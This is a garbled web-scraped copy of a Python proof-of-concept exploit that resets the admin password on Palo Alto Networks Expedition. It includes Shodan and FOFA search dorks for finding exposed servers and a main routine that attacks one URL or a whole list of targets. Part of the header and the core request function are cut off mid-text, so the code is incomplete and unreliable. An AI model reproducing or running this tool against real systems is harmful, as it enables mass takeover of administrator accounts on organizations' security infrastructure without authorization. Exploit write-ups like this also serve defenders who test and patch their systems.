<\/p>\n
################################################################################################
\n############################ #
\n#- Exploit Title: PoC for Admin Account Password Reset of Palo Alto Networks Expedition tool #
\n#- Shodan Dork: html:\"expedition project\" #
\n#- FOFA Dork: \"expedition project\" && icon_hash=\"1499876150\" #
\n#- Exploit Author: ByteHunter #
\n#- Email: 0xByteHunter@proton.me #
\n#- Vulnerable Versions: 1.2 admin:paloalto creds\")
\n else:
\n print(f\"Request failed with status code: {response.status_code}\\n\")
\n except requests.exceptions.RequestException as e:
\n print(f\"Error sending request to {url}\") #{e}
\n
\ndef main():
\n parser = argparse.ArgumentParser(description='Palo Alto Expedition - Admin Account Password Reset PoC')
\n parser.add_argument('-u', '--url', type=str, help='single target URL')
\n parser.add_argument('-l', '--list', type=str, help='URL target list')
\n
\n args = parser.parse_args()
\n
\n if args.url:
\n send_request(args.url)
\n elif args.list:
\n try:
\n with open(args.list, 'r') as file:
\n urls = file.readlines()
\n for base_url in urls:
\n send_request(base_url.strip())
\n except FileNotFoundError:
\n print(f\"File not found: {args.list}\")
\n else:
\n print(\"I need a URL address with -u or a URL file list with -l.\")
\n
\nif __name__ == '__main__':
\n main()\n <\/code><\/pre>\n<\/p><\/div>\n